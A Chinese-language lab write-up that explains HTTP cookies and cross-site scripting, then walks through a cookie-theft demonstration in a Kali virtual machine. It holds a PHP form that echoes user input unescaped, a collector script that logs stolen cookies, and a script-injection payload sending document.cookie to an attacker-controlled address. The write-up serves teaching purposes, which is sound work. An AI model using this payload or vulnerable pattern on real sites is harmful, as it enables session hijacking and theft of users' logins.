概念辨析

cookie?

什么是cookie?其工作机制是什么?

什么是cookie?

在了解cookie之前,我们必须明确一个概念:即HTTP协议本身是无状态的,无状态是指Web浏览器与Web服务器之间不需要建立持久的连接,这意味着当一个客户端向服务器端发出请求,然后Web服务器返回响应(Response),连接就被关闭了,在服务器端不保留连接的有关信息。也就是说,HTTP请求只能由客户端发起,而服务器不能主动向客户端发送数据。
cookie就是这个身份的证明,实际上是一小段的文本信息(key-value格式)。
客户端向服务器发起请求,如果服务器需要记录该用户状态,就使用response向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。

cookie的工作机制?

当用户第一次访问并登陆一个网站的时候,cookie的设置以及发送会经历4个步骤:

enter description here

xss攻击

什么是xss攻击?

Cross Site Scripting ,跨站脚本攻击。

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2021年统计数据,在Web安全威胁前10位中,XSS并入代码注入(Injection),而注入威胁排在top10的第三位。

xss攻击的目的

常用的XSS攻击手段和目的有:

  1. 盗用cookie,获取敏感信息。
  2. 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  3. 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  4. 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  5. 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

准备工作

测试环境

Website:有XXS漏洞的合法网站,这里使用Kali-Linux2虚拟机作为网站服务器
Website Visitor:受害访问者,这里使用win10物理机进行代替
Perptrator:攻击者及数据接收网站。说明:将合法网站和攻击者接收网站都放在Kali虚拟机

使用脚本

对于website,使用submit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
session_start();
?>
<!doctype html>
<html>
<head>
<title>XSS Demo</title>
</head>
<body>
<form>
<input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
<input type=“submit” value=“submit" />
</form>
</body>
</html>

对于Perptrator,使用hack.php

1
2
3
4
5
<?php
$victim = ‘XXS get the cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];
file_put_contents(‘1.txt', $victim);
echo welcome;

恶意payload:

"/> <script>window.open("http://192.168.2.123/hack.php?cookie="+document.cookie);</script><!-- 

测试流程

测试流程
这里把红蓝方合并,即既使用此虚拟机作为xss漏洞网站,有作为接收网站。

第一步 脚本部署

在虚拟机 /var/www/html/处进行部署,这里是apache服务的默认地址
脚本部署

第二步 IP地址查询

Kali使用ifconfig,win10 使用ipconfig进行查询。可知二者在一个子网。
Kali ip
win10 ip

第三步 漏洞利用

在Kali里进行网站的访问与恶意payload的输入

eydm
welcome

第四步 漏洞验证

在win10 物理机进行访问,查看结果

win10访问

接收到cookie

实验收获

  1. 了解了cookie的概念与原理
  2. 知道了xss攻击的一些基本知识
  3. 实际演示了一次xss攻击的流程,对漏洞存在者、漏洞利用者、受害者的关系有了清晰的理解。